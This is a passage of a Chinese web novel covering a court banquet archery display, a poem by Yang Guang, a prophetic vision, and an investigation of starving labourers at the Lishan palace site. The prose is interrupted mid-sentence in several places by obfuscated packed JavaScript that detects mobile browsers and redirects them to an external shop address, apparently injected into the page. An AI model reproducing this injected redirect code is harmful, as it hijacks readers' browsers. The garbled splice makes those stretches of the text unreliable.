鼓声攀至顶峰,即将以最重一锤收尾的刹那。 我的身体在一个大回旋中,猛地定住!弓开如满月! 第二箭,激射而出! 比第一箭更快!更疾! “叮!叮!叮——!” 连续三声清脆短促的金属撞击声炸开! 白羽箭以刁钻角度,接连穿透了木架横梁上三枚用作标记的小铜环!最终“哆”地钉在箭靶边缘,箭尾急颤! “连穿三环?!” “蒙着眼如何做到?!” 惊呼四起,不少武将霍然起身。 鼓声在此刻凝滞了一瞬。 就在这心跳漏拍的间隙,我脑子里倏然闪过薛静姝那带着讥笑的嘴角,闪过她一次次不依不饶的挑衅。 烦。 一股恶气堵在胸口。 行啊,不是爱看热闹吗?让你看个够。 在身形将定的最后一瞬,我左脚跟像是“不经意”地在光滑的地砖上滑了一下。力道控制得刚好,让整个人的平衡出现了一丝极其短暂、却又足够明显的晃动。 “呀!” 我低呼一声,声音里带着恰到好处的惊慌和力竭后的虚弱,手上却借着这“意外”带来的身体扭转,弓弦方向在旁人难以察觉的幅度内猛地一偏! 就是现在! 第三支箭离弦! 这一箭去势比前两支更急更诡,几乎听不见破空声,只一道灰影如电射出,直取薛家那桌。 劲风拂动了薛静姝颊边的碎发与步摇,箭矢“夺”地一声,深深钉入她身后装饰殿柱的厚重木镶板上,入木三分,白羽剧颤! 薛静姝面如死灰,僵坐原地,双目圆睁,瞳孔里只剩恐惧,嘴唇哆嗦,团扇早已落地。 死寂。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125713|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我抬手拉下绸带。 光亮重临。 视线快速扫过场中。 第一支箭,稳稳钉在三十步外的靶心红点上,纹丝不动。 第二支箭,前后洞穿三枚小铜环。 而第三支箭,正深深钉在薛静姝身后一尺处的包锦木柱上。而箭尖前,薛静姝面无人色,僵若木偶,连呼吸都仿佛停滞。 三支箭,三种落点。 稳、准、狠。 我心里那口憋了许久的气,终于畅快地吐了出来。 随即,我眨了眨眼,脸上浮起“惊慌”与“懊恼”,快步至殿中下拜: “陛下恕罪!臣女方才心神激荡,最后一箭竟失了准头,险些惊扰薛小姐!实在该死!请陛下责罚!”声音发颤,恰到好处。 不就是装绿茶吗? 谁还不会了? 明眼人都心知肚明,一个能蒙着眼连穿三枚铜钱、箭箭精准的人,在舞步已停、身形已稳的最后关头突然“失手”?这“失手”的方向还如此巧合,不偏不倚,堪堪擦过方才最是咄咄逼人的薛家女鬓边? 尤其那箭矢擦过的角度与嵌入殿柱的深度,精准得令人背脊发凉。再偏半分便要见血,力道再弱一分则不足以震慑。 这哪里是失手,分明是警告。一场漂亮、嚣张、却又让人抓不住错处的警告。 可偏偏,没伤人。 这就让所有可能发作的由头,都被堵了回去。薛静姝只能吃下这个哑巴亏,连一声委屈都喊不出来。 陛下不语,唇角却微不可察地动了一下,近来薛家在朝堂上屡有阳奉阴违之举,我这“失手”的一箭,倒像根巧针,正正刺在薛家那层体面上。 他最终轻轻“哼”了一声,听不出怒意,反带尘埃落定的了然。 “罢了。”他抬手虚扶,“总归没伤着人,又是助兴。年轻人锐气盛些,无伤大雅。” 这话,是说给所有人听的。 一句“无伤大雅”,既全了薛家最后的脸面,也堵死了任何借题发挥的路。但其中“朕不欲追究”的潜台词,以及对这份“锐气”的隐隐纵容,精明人都听得明白。 “贺卿,”陛下转向贺若弼,笑意明朗,“你这女儿,着实让朕惊喜!当赏!” “谢陛下隆恩!小女顽劣,承蒙陛下海涵!”贺若弼连忙起身行礼,声音洪亮,透着松快。转向我时,则虎目一瞪,那眼神分明在说:臭丫头,真能给你老子找事儿! 可那瞪视深处,却藏着一丝压不住的、与有荣焉的亮光。 贺璟紧绷的肩膀也终于松了下来,他看着我,轻轻呼出一口气,随即摇头失笑。 我对他眨了眨眼,微微弯唇。 意思是:咋样,被姐迷倒了吗? 然后,直起身。 目光平静扫向薛静姝,她面无人色,呆呆坐着,团扇早滑落在地。眼神空洞,脸上只剩苍白和惊惧。 雷鸣般的掌声与喝彩这才轰然爆发!武将席上喝彩震天,许多将领看我的目光已带上认可。 我转身回座时,目光掠过杨广席位。 他已起身,随众人鼓掌。但与其他人的激动不同,他的掌声沉稳有节,目光穿越鼎沸人群,牢牢锁在我身上。 见我看来,他唇角勾起,用口型无声说了两个字。 隔着晃动的光影,我看不清唇形。 但那一瞬,我仿佛“听”见了。 他说: “有趣。” 14. 灵感缪斯? 我回到座位的短短几步路,像踩在烧红的炭上。 无数道目光黏在背上,烫的、冷的、惊的、算的。 而此刻,我的心情,一半是炸了。 爽!真爽! 看薛静姝那张煞白的脸,看满殿贵女掩不住的震惊,值了。 憋屈了五年,装了五年鹌鹑,今天这三箭射出去,胸口那股浊气总算出去了。 可另一半,是虚的。 尤其是刚才回来的路上,对上杨广那个眼神。 刚才光顾着爽,忘了他还在场了! ……我,是不是做错了? 这念头冷不丁冒出来,心里那点爽快劲儿瞬间凉了一半。 是,面子是挣回来了,往后没人敢当面说我是废物了。 可杨广…… 他刚才看我的眼神,那可不是看热闹,也不是单纯的欣赏。 那是掂量。 像在集市上看见一件有点意思的玩意儿,拿在手里掂掂分量,琢磨着值不值当收下。 完了。 我是不是……太高调了? 猛地想起上元夜他说的那句“很衬你”,想起他递过来的帕子,想起他今夜几次看过来时那种……说不清道明的专注。 这位爷回京是要夺嫡的,每一步都得算清楚。我今晚搞这一出,落在他眼里算什么? 一个意外冒出来的、似乎还有点用处的……变数? 宴席在一种奇异的气氛里继续。丝竹又起,酒菜流水般上,可所有人的心思,明显还停在刚才那三箭上。 投来的目光全变了。好奇、惊叹、忌惮、重新打量……空气里飘着无声的算计。 男嘉宾们那边议论嗡嗡: “了不得!贺公这义女……” “何止了不得!这般容貌气度,加上这手箭术……” “可惜是前朝……” “前朝又如何?贺公圣眷正浓,贺小将军前途无量。若能娶到这位……” “今日之后,提亲的怕要踏破门槛了……” 贺璟握着酒杯的手指紧了紧,目光扫过那些议论的席位,带上一丝冷意。 女嘉宾们也低语不断: “真没想到……” “哗众取宠!女子当以贞静为美,舞刀弄箭成何体统!”有人嘴硬,声音却虚。 “话不能这么说……蒙眼射铜钱,一箭双钱,男子也未必能做到。” “确实厉害……可惜出身……” “出身?陛下都赞不绝口了,谁还只看出身?” 薛静姝一直低着头,不再吭声,偶尔抬眼也迅速避开我的视线。 我安静坐着,接过宫女递来的温热帕子,擦了擦额角的汗。虎口因用力拉弦隐隐发酸,手腕也有些发胀。 啧,刚才装逼是装爽了,现在后遗症来了。 宴席仍旧继续,在陛下与几位重臣聊了几句边镇军务后,话头忽然转到了杨广身上。 “广儿在江都数年,朕听奏报,民生富庶,文教蔚然,可见是用了心的。江南风物与长安大不相同,你可有什么新鲜见识,也说与朕和诸位爱卿听听?” 杨广从容起身,先向御座恭敬一礼,才不疾不徐道:“父皇垂询,儿臣惶恐。江都所为,皆是遵循父皇平日教诲,勤政安民罢了。若说新鲜见识……”他略微沉吟,目光似是无意地扫过殿内,“江南景致柔美,尤其月色,空濛皎洁,别有一番韵味。只是此番回京,儿臣倒觉得……” 他顿了顿,唇边笑意深了些,声音清朗: “长安的月色,似乎更胜一筹。” 这话说得巧妙,既赞了江南,更颂了帝都,殿内立刻响起一片会意的轻笑与附和。 杨广却话锋微转,含笑道:“见月色而思江景,儿臣偶得几句拙诗,若父皇与诸位不嫌粗陋,愿献丑博一笑。” 文帝显然兴致颇高:“哦?念来。” 杨广站直了些,目光缓缓扫视,那一瞬,我分明觉得他的视线在我这边有极其短暂的停留,快得像是错觉。 然后,他开口吟诵,声音清越,字字清晰: “暮江平不动,春花满正开。 流波将月去,潮水带星来。” 四句诗,二十个字。 殿内先是一静。随即,赞叹声低低响起,渐渐连成一片。 “好一个‘流波将月去,潮水带星来’!动静相宜,气象开阔!” “晋王殿下文采斐然,实乃文武双全!” “此诗清丽又不失壮阔,难得,难得!” 赞誉之声不绝于耳。 文帝抚掌大笑,连声称好,看向杨广的目光满是欣慰。 而杨广并未立刻落座,而是含笑续道:“说来亦是机缘。这诗的下联‘流波将月去,潮水带星来’,乃是儿臣昔年驻守江都,常于月夜临江、感怀时势所得。只是得了这下联,却一直苦于没有匹配的上联,总觉得意犹未尽,是个遗憾。 他目光澄澈,语带感慨,“直到前几日的长安上元灯会。于万千人潮中,儿臣忽闻一句开阔之语,心念却倏然静了。想着这帝都之畔的渭水春夜,江流平阔无声,光景何其雍容沉静。这才得了‘暮江平不动,春花满正开’这起首二句。” 他面向御座,姿态恭谨而蕴着不易察觉的深意: “一首小诗,起于江南孤月,成篇于长安春江。历时数载,辗转千里,终在父皇与母后的京城得以圆满——这于儿臣而言,不止是诗缘,更是心境。” 他并未明说,但字字句句,皆在言:七年江都驻守,孤怀常对明月;而今重返长安,终得归依圆满。 这番话,已不止是在说诗。 他是在用一首诗,向御座上的帝后,也向满殿文武,剖白自己七年外放、此刻归朝的心迹:不忘江南之功,更念长安之恩;昔日孤臣心事,今朝终得依托。 殿内静了一瞬,随即叹赏之声更甚。陛下目光柔和,独孤皇后亦微微颔首。 而唯有我,攥着袖中丝帕的指尖,微微发麻。 刚才箭舞后的那股酣畅热意,倏然退得干干净净。 他只提“长安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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仿佛有只无形的手,早把今夜的一切,杨广的诗、我的箭、甚至我这个人,都整整齐齐码进了那本既定的命册里。 此刻,我看向杨广。 穿过遥遥的人群和晃动的光影。 玄衣玉冠,长身鹤立。 灯火流转在他轮廓分明的侧脸,投下恰到好处的阴影,让那份介于青年与成熟之间的风华,显出一种沉静的吸引力。 他站在那里,便是“天潢贵胄”四字最生动的注解。 如果我不知道未来。 如果我从未翻过那些写满“骄奢”、“暴虐”、“国破身死”的史册。 单看此刻,这个风姿卓绝、文思敏捷,能在谈笑间将一次偶然的相遇化作风雅诗篇,既全了孝心、又展了才华,甚至还隐隐织就一张无形罗网的晋王殿下…… 他的魅力,几乎让人难以抗拒。 而这首诗,像一根看不见的丝线,隔着满殿喧嚣,隔着身份鸿沟,轻轻一绕,便系在了我的手腕上。 我的指尖无意识地蜷缩了一下,像要拂开什么并不存在的缠绕。然后,几乎是本能的,我摸到了袖中那方丝帕。 帕子冰凉,可被它贴着的肌肤,却像被火舌舔了一下。 15. 又出事儿了 宫宴后半程,酒喝开了。 我们这桌儿像个5A级景点,老有目光往这边瞟。 几个年轻武将端着酒过来,嘴上说着“敬贺公”,眼珠子朝我这转得都快抽筋了。老贺眼皮都没抬,两句话就把人撅回去了。 贺璟那边更热闹。刚立的军功跟开了光似的,同僚、旧部、甚至八竿子打不着的文官都凑上来,一杯接一杯。话里话外都是“年少有为”、“虎父无犬子”,捎带着总想往我身上扯。 贺璟酒喝得干脆,话却少得可怜。直到独孤明月端着杯琉璃酒,仪态大方地走过来。 四周的喧闹瞬间低了一档。 好家伙,原来古人也爱嗑CP。 “贺世兄。”她声音清亮,“明月敬世兄一杯,贺世兄北疆建功,威震胡虏。” 举杯的姿态无可挑剔,目光坦坦荡荡地看着贺璟,完全不在乎周围瞬间竖起的耳朵。 贺璟顿了顿,举杯:“郡主过誉。” “世兄当得起。”独孤明月微笑,一饮而尽。喝完,她目光转向我,笑意深了点,“萧妹妹方才的箭术,实在令人惊叹。改日若有空,还请妹妹不吝赐教。” 我有些不好意思的点头。 她不再多言,对贺璟极轻地颔首,转身离开。 散席出来的时候,我脚下有点飘。 不知道哪个缺心眼的,给我杯子里倒的不是果酿,是正经的三勒浆。等发现的时候,大半杯已经下肚了。 贺璟走在我旁边,隔得比平时近半步。 上马车时,我晃了一下,他伸手虚扶了一把,等我站稳就松开了。 “当心。”他声音很低。 “没事儿,”我摆摆手,舌头有点不听使唤,“就、就有点儿晕。” 他看我一眼,没说什么,等我上了车才跟上来。 车厢里黑,帘子一放,外头的动静就隔开了。我靠着车壁,脑子里乱糟糟的,薛静姝那张气歪的脸,杨广隔着人群看过来的眼睛,还有那首诗…… 烦。 车轮轱辘轱辘响。 我换了个姿势,脑袋在车壁上轻轻磕了一下。 “咚。” 声音不大,但旁边的人动了。 一件东西轻轻盖在了我身上。 我睁开眼,借着帘缝透进来的光,看见是贺璟的披风。料子很舒服,还带着体温。 “我不冷……”我想推回去。 “夜里风凉。”他只说了四个字,语气平直,听不出情绪。 我没再争,裹紧了披风。 车又拐了个弯,我身子晃了一下。 一只手从旁边伸过来,虚虚挡在我和车壁之间。 很轻的一个动作,像是怕我撞着。 我忽然有点不自在。 这些年贺璟照顾我,我一直觉得是哥哥对妹妹的那种,自然,坦荡,理所当然。 可今晚……好像有点不一样。 是因为我今晚太出风头了?还是因为我喝了酒? 我说不清。 就在我胡思乱想的时候—— 眼前猛地一黑! 是被动预警又来了! 太极殿上,贺若弼手持账册跪地,背脊挺得笔直:“臣要参的,便是骊山温泉,便是东宫!” 太子猛地转身,指着贺若弼怒斥:“贺公!你、你这是血口喷人!” 最终画面落在了脸色铁青的皇帝上:“贺若弼,你太让朕失望了……回府思过,无旨不得出。” 两名御前侍卫沉默上前,一左一右站在贺若弼身后,名为护送,实为软禁。 画面戛然而止。 我倒抽一口冷气,整个人往前一栽。 “锦儿?!”贺璟一把抓住我胳膊,力道很大,“怎么回事?” “老贺……”我喘着气,冷汗瞬间就下来了,“老贺要出事!温泉宫账目有问题,太子会反咬,陛下会信他……老贺会被软禁!” 我一口气说完,手指死死攥着他衣袖。 黑暗里,我能感觉到他身体僵住了。 抓住我胳膊的手,收得更紧。 “什么时候?”他问,声音低沉。 “……很快。”我靠着车壁,回忆那些画面,“十日左右。” 回府时,东边天际已泛出蟹壳青。 我们没回各自院子,径直去了贺璟的书房。门一关,隔绝了外面渐起的晨光与声响。 贺璟点亮灯烛,昏黄的光晕驱散了角落的黑暗。他没坐,就站在书案前,铺开一张素纸,提笔沾墨。 “把你看到的,所有细节,再说一遍。”他声音平稳,听不出情绪,“不要漏。” 我深吸一口气,将那个令人窒息的画面重新摊开: 骊山。长安以东那片皇家禁苑。太子杨勇正在那里大修汤泉宫,美其名曰为陛下千秋贺寿献礼。 主管修建的是个叫元淹的家伙,将作监丞,从六品下。 关陇出身,太子心腹。 “账目有问题,”我回忆着那些一闪而过的数字,“石料采买,价格比市价高出至少三倍。民夫名册古怪,多报了上千人……这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125715|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元淹,贪得毫无顾忌,简直是把国库和民脂当自家钱袋。” 贺璟笔下不停,寥寥几行,已勾勒出关键。 “汤泉宫的事,我有所耳闻。”他眉头微蹙,“前几日,有几十个从骊山工地逃出来的民夫,在西市口堵住了下朝的东宫冼马李纲。” 李纲,我知道这个人。 东宫属官,正六品上,专司规谏太子过失,史书里以刚直敢言留名的那位。 贺璟继续说,“李纲当场训斥了随行的元淹,责令其严查克扣、安抚民夫。动静不小,朝中已有议论。” “那老贺怎么会……”我疑惑。 按理,李纲出面,此事该在东宫内部处理。 贺璟目光沉了沉:“这正是蹊跷之处。父亲性子虽直,但并非鲁莽。他若插手,定是李纲的处置未能奏效,或……发现了比贪腐更棘手的东西。” 我们面前的纸上,线索与疑问交织。 “十天。”我看向贺璟,“我们只有十天。” 他抬眼,目光锐利如出鞘的刀:“那就分三步走。” 他手指点在纸上: “第一,实地探查骊山。元淹敢如此明目张胆,工地必有猫腻。我得去看看,那些‘多出来’的民夫去了哪里,高价石料究竟有何玄机。” “第二,弄清李纲的动向。他是东宫内部唯一可能持正之人。他若真有心彻查,或许能成为突破口,至少……要弄清楚他为何没能按住此事,反而让父亲察觉并决定冒险介入。” “第三,”他指尖重重一顿,“拿到真正的、完整的、足以将元淹乃至他背后之人一击即溃的证据。账目可以作假,民夫可以封口,但总有些东西,他们抹不掉。” 说完这些,贺璟直起身,看了眼窗外微亮的天色。 “正好,明日我休沐。”他语气平静得像真是要去郊外散心,“我去骊山走走。” “我也去。”我立刻接口。 贺璟转头看我,眉头微蹙,显然想反对。 “多个人,多双眼睛。”我没给他拒绝的机会,“而且,万一有什么意外,我至少能自保,甚至帮上忙。” 他沉默了片刻,终究点了点头:“好。但跟紧我,不许擅自行动。” “明白。” 窗外,天色又亮了一分,已能隐约听见远处坊间开市的隐约响动。 “这一夜……可真够长的。”贺璟收回望向窗外的目光,看向我,嘴角扯出个有些疲惫的苦笑,“你回去歇两个时辰。辰时初刻,府门外见。” “好。”我应。 16. 骊山血泪 清早,我们扮作踏青的兄妹出了城。 我换了身利落衣裙,云枝跟着。贺璟是一袭普通公子打扮,带着军中的副将阿福和另一个亲兵赵平。 五个人混在出城的人流里,毫不起眼。 骊山在长安以东,骑马差不多一个半时辰。 前半段路风景不错,田亩整齐,村落炊烟袅袅,颇有几分田园诗的感觉。我都快忘了自己是来调查黑心工程的。 但靠近骊山,画风就变了。 路边的田地开始荒疏,村落看着也凋敝。路上来往的多是扛着工具的民夫,一个个面色疲惫,眼神空洞。空气里有股土石灰尘的味道,还夹杂着一种……不太好的酸腐气。 “前面就是骊山地界了。”贺璟勒马缓行,低声说,“工地还在山腰,我们不上去,就在山脚附近转转。” 我点头,帷帽下的眼睛四处打量。 山脚散布着一些窝棚,歪歪扭扭的,用树枝茅草随便搭成,看着就漏风。几个衣衫褴褛的妇人在溪边洗衣服,木槌敲打的声音沉闷得让人心头发堵。 我们装作找地方歇脚,把马拴在路边树下,步行往溪流上游走。阿福和赵平留在远处警戒,云枝跟着我。 没走多远,我听到一阵压抑的呜咽声。 声音来自一处背阴的山坳。我们循声走近,看见一个比沿途窝棚更破的草棚,棚顶的茅草稀稀拉拉,阳光都能透进来。 草棚里躺着一个少年,看模样十五六岁,双眼紧闭,脸色蜡黄。 他的左腿从膝盖往下肿得吓人,皮肤绷得发亮,脚踝处破了个口子,正往外渗脓血,气味刺鼻。 一个头发蓬乱的妇人跪在旁边,手里攥着块看不清颜色的破布,哆哆嗦嗦地蘸着碗里所剩无几的浑水,去擦少年腿上的污秽。 妇人发现我们,吓得往后缩,用身子挡住少年,嘴唇哆嗦着不敢出声。 贺璟蹲下身,声音尽量放轻:“大娘,这孩子怎么了?” 妇人眼泪哗哗往下掉,声音压得极低:“没、没什么……我儿子……在工地上……摔了一跤……” 那伤口,分明是重物砸的,什么摔跤能摔成这样? “看大夫了吗?”我问。 妇人猛地摇头,眼泪淌得更凶:“哪有钱……监工大爷说,是他自己不当心,不管……我偷偷求了管事的爷,爷说……说要是人没了,能给五百文……” 五百文。 一条人命。 我胸口像被什么狠狠捶了一下。 这里是骊山,离长安城不过几十里路。那边是锦绣堆砌的帝都,这边是五百文就能买一条命的工地。 贺璟脸色沉了下去,从怀里掏出锭银子,约莫二两重,轻轻放在妇人手边的干草上:“拿去,快找大夫。就说是路过的香客布施的。” 妇人愣住了,呆呆地看着银子,又看我们,仿佛无法理解。 云枝上前轻声道:“大娘,快收着吧,给孩子治伤要紧。” 等妇人回过神,颤巍巍拿起银子想磕头时,我们已经转身离开了。 重新上马,我们沿着山脚继续走。 越往前走,那股尘土和汗酸混合的气味越浓。转过一道山梁,汤泉宫工地的全貌终于出现在眼前。 山体被挖开一大片,裸露的土石在阳光下泛着刺眼的白。数百民夫像蚂蚁一样在陡坡上劳作,抬石头、运木料、挖土方……每个人的动作都透着一种麻木的迟缓。监工提着鞭子站在高处,时不时吼一嗓子,鞭梢在空中甩出脆响。 工地边缘搭着几排窝棚,比山脚的更挤更破。 就到午饭时分,工地边上支起了几口大铁锅,冒着稀薄的热气。民夫们排着歪歪扭扭的队伍,挨个到锅前领饭。 每个人手里拿着个破碗,眼巴巴等着。 我们勒马停在稍远的坡上,借着树木掩护看去。 锅里的东西根本称不上粥。灰黄色的汤水,稀得能照见碗底,飘着几片菜叶和零星的麸皮。掌勺的伙夫舀起一勺,手腕一抖,汤水“哗”地倒进民夫碗里,洒出来的比倒进去的还多。 队伍挪得很慢。轮到一个头发花白的老汉时,他颤巍巍递上碗。伙夫瞥了他一眼,舀了半勺,正要倒,旁边监工忽然伸手拦住。 “等等。”监工歪着头打量老汉,“你今儿上午抬了几筐石头?” 老汉哆嗦着:“三、三筐……” “三筐?”监工嗤笑,“别人都抬五筐,你就抬三筐?那午饭也减半。”说着夺过伙夫的勺,只舀了小半勺汤水,随意往老汉碗里一倒,大半泼在了地上。 老汉看着碗里那口连碗底都盖不住的汤水,嘴唇动了动,没敢吭声,佝偻着身子退到一边,蹲在地上,小口小口地抿。 后面的人看得更怕了,纷纷缩着脖子。 这时,另一个年纪更大的老妇人捧着碗上前。她动作慢,手抖得厉害,碗里的汤水洒出来一些。监工眉头一皱,忽然伸手,“啪”地打翻了她手里的碗! 粗陶碗摔在地上,碎了。那点可怜的汤水混进泥土,瞬间不见了。 “老东西!端个碗都端不稳,还吃什么饭?!”监工骂骂咧咧,“滚一边去!今天没你的份!” 老妇人愣在原地,看着地上的碎碗和渗进土里的汤渍,浑浊的眼睛里一片茫然。她张了张嘴,想说什么,最终只是慢慢蹲下身,用枯瘦的手指去捡那些碎陶片。 监工不耐烦地一脚踢开碎片:“叫你滚没听见?!” 碎片飞溅,划破了老妇人的手背,渗出血珠。 她吓得往后缩了缩,却不敢站起来,就那么蹲着,瘦小的身子在初春的风里微微发抖。 周围排队的人全都低下头,不敢往那边看。空气里只剩下铁勺碰撞锅沿的声音,和监工粗哑的吆喝:“下一个!快点!” 我们远远看着这一幕。我攥着缰绳的手指节发白。云枝在我身边吸了口气,声音压得很低:“小姐……” 贺璟的手按在我手臂上,力道不大,却带着不容置疑的制止。他对我摇摇头,眼神沉静。 我知道他的意思,不能冲动,这里不是我们能插手的地方。 就在这时,工地那头传来一阵骚动。 几个民夫围成一团,中间似乎有人倒了。监工骂咧咧冲过去,鞭子没头没脑抽下:“装死!都给老子起来干活!” 围着的民夫散开些,露出中间一个蜷缩在地上的身影——是个半大孩子,瞧着不过十三四岁,瘦得只剩一把骨头,脸朝下趴着,动也不动。 “怎么回事?”一个略显威严的声音突然响起。 我们循声望去,只见一个穿青色官袍、约莫四十多岁的文官,带着两个随从,正从工地另一侧快步走来。 此人面容清癯,眉头紧锁,正是李纲。 监工见是李纲,脸上凶相收了收,但语气仍硬:“李大人,这小子偷懒装死,小的正管教呢。” 李纲没理他,径直走到那孩子身边蹲下,伸手探了探鼻息,又翻开眼皮看了看,脸色顿时难看:“这是饿晕的!你们今日发的是什么饭食?” 监工支支吾吾:“发、发了……每人一碗稠粥,管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125716|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够……” “放屁!”李纲猛地起身,几步走到那几口大锅前,抄起锅边的长勺往锅里一搅——灰黄色的汤水稀得挂不住勺,底下全是沉渣。 他舀起一勺,举到监工面前,声音因愤怒发颤:“这叫稠粥?!这连刷锅水都不如!” 监工被他喝得后退一步,脸发白,嘴还硬:“李、李大人,这……这已经比别处强了……” “强?”李纲气极反笑,手指向那个还蹲在地上捡碎碗片的老妇人,“把人当牲口喂,这也叫强?!” “重新熬!”他厉声道,声音因愤怒而发颤,“就现在!熬到筷子插进去不倒为止!” 又指着那晕倒的半大孩子:“抬到阴凉处!拿水来!阿成,你骑马去最近的村子请郎中,快!” 随从们立刻动起来。 监工和几个工头脸白如纸,再不敢多说一个字。 周围的民夫们看着李纲,眼中涌起些许微弱的光,但更多人仍是麻木地低着头,不敢多言。 我们远远看着这一幕。 贺璟低声道:“李纲是条汉子,但……他一个人,救不了所有人。” 是啊。 他能救一个饿晕的孩子,能斥责一个监工,可这工地上有数百民夫,有无数个这样的老人孩子,有无数碗被打翻的、连碗底都盖不住的汤水。 就在这混乱的当口,我目光扫过监工鼓囊囊的腰间。 视线触及那革囊的瞬间,眼前一花。 画面闪过:傍晚,歪脖子老槐树旁的破窝棚里,监工正倒出碎银数着:“……够喝几顿花酒了……” 画面消失。 我眼睛亮了。 拽贺璟袖子:“阿兄,看见那腰包没?” 贺璟瞥了一眼。 “我知道他们藏钱的地儿,”我压低声音,“端不端?” 贺璟沉默半秒,嘴角勾起一丝冷冽的弧度:“端。” 傍晚,窝棚外。 我们伏在草丛里。 里面传来监工和工头的笑骂: “那姓李的穷酸……” “晚上翠红楼,老子请!” “先数钱!” 我对贺璟比了个手势。 他抬手,两颗石子“嗖嗖”打在窝棚另一头。 “谁?!”里面四人猛地站起,齐刷刷扭头。 就这一瞬间。 贺璟如猎豹般蹿入,梁上钱袋、席下草囊,眨眼到手。 我同步闪进正门,监工腰间最沉的那个草囊,已无声落进我袖中。 整个过程,不到三个呼吸。 我们退回树后时,窝棚里的人才刚回头。 监工的手往腰间一摸。 空的。 他僵住了,低头看草席。 空的。 抬头看梁上。 也空了。 四张脸同时煞白。 窝棚里死一般寂静。 足足五息之后。 “我的钱呢?!!!” 凄厉的嚎叫炸开,监工疯了一样翻找,把破草席撕得稀烂:“钱!老子的钱!!” 山坡上,贺璟掂了掂手里四个沉甸甸的草囊。 月光下,他冲我挑了下眉:“手法不错。” 我拍拍袖子,里面叮当作响:“小意思。” 身后,监工哭爹喊娘的骂声越来越远: “哪个杀千刀的偷老子钱!老子要报官!” 报官? 我笑。 偷贪官的钱,那叫替天行道! 17. 尸骨无存 贺璟吩咐阿福把钱分给附近佃农,我们翻身上马往回赶。 天色已彻底黑透,官道上空无一人。跑出二十几里,人困马乏,见到路边有个破茶寮还亮着豆大的灯,便想停下喝碗热茶。 刚勒住马,我就僵住了。 茶寮里唯一那张桌子旁,坐着个人。 青袍皱巴巴,头发也有些散,正是李纲。 他独自对着碗冷透的粗茶发呆,眉头锁得死紧。 我们也没想到会在这儿撞见他,都这个时辰了。 我和贺璟对视一眼,下意识就想调转马头——这都能碰上? 可李纲就在这时抬起了头。 目光撞个正着。 李纲脸上疲惫未减,却起身拱手:“贺将军。巧遇。” 他的目光扫过我们衣袍下摆骊山独有的灰黄土尘,眼神深了深。 贺璟神色如常,起身还礼:“李冼马。今日休沐,携舍妹出城踏青。” “踏青……”他低声重复,像在咀嚼这两个字,声音里压着股情绪,“将军踏青所见,想必……山色颇佳吧?” 贺璟沉默地看着他,没接话。 李纲深吸一口气,“我今日在骊山,看见民夫碗里的粥清得能照见人影。看见孩子饿晕在地,监工还要用鞭子抽。看见老妇洒了几滴粥,被踹翻在地,去捡碎碗片……” 他盯着贺璟,眼白布满血丝:“将军今日,想必也走了不近的路。这骊山的‘景’,可还入眼?” 贺璟与他对视片刻,依旧沉默。 李纲像是被这沉默刺痛,猛地转过头,声音嘶哑地继续道:“我下山后,没回城。我去了山后的村子。将军知道那些民夫是哪里人吗?就是那些村子里的!田荒了,人死了,家里老人孩子饿得啃树皮、吃观音土!我进了一户,瞎眼的老太太带着五岁孙子,锅里煮着土——她儿子三个月前在骊山被石头砸死,尸首扔后山喂了狼,她不知道,还每天到村口等……” 他说不下去了,肩膀剧烈颤抖,抬手狠狠抹了把脸。 寂静在茶寮里蔓延,只有泥炉上茶水将沸的微弱声响。 许久。 贺璟的声音终于响起,很沉,很低,却带着千钧的重量: “我看见了。” 就这四个字,让李纲肩膀猛地一颤。 他像是终于找到了一个可以说话的人,情绪骤然决堤:“他们怎么敢?!那是给人吃的吗?那是喂牲口的泔水!还有那孩子,那孩子就晕在那儿,他们还要踢他!这还是天子脚下吗?!” 他声音越来越高,眼圈通红,手紧紧攥着桌沿,骨节发白。 “我十八岁在边关,”贺璟忽然开口,声音不高,却字字砸地,“见过饿死的流民,见过为了一口粮卖儿卖女的父母。” 李纲的激动骤然停住,看向他。 “那时候我就想,”贺璟目光看向远处的黑暗,像在看很远的地方,“等我有了本事,绝不让眼皮子底下再有这种事。” 他收回目光,看向李纲:“可我今天看见了。就在离长安不到百里的地方。” 李纲猛地抬头,死死盯着贺璟:“那将军今日看见了,会当视而不见吗?” 这话问得极重。 贺璟迎着他的视线,沉默了片刻。 然后,他极慢、极沉地摇了摇头。 “不会。” 两个字,清晰,干脆,没有任何犹豫。 李纲忽然对着贺璟,深深一揖。 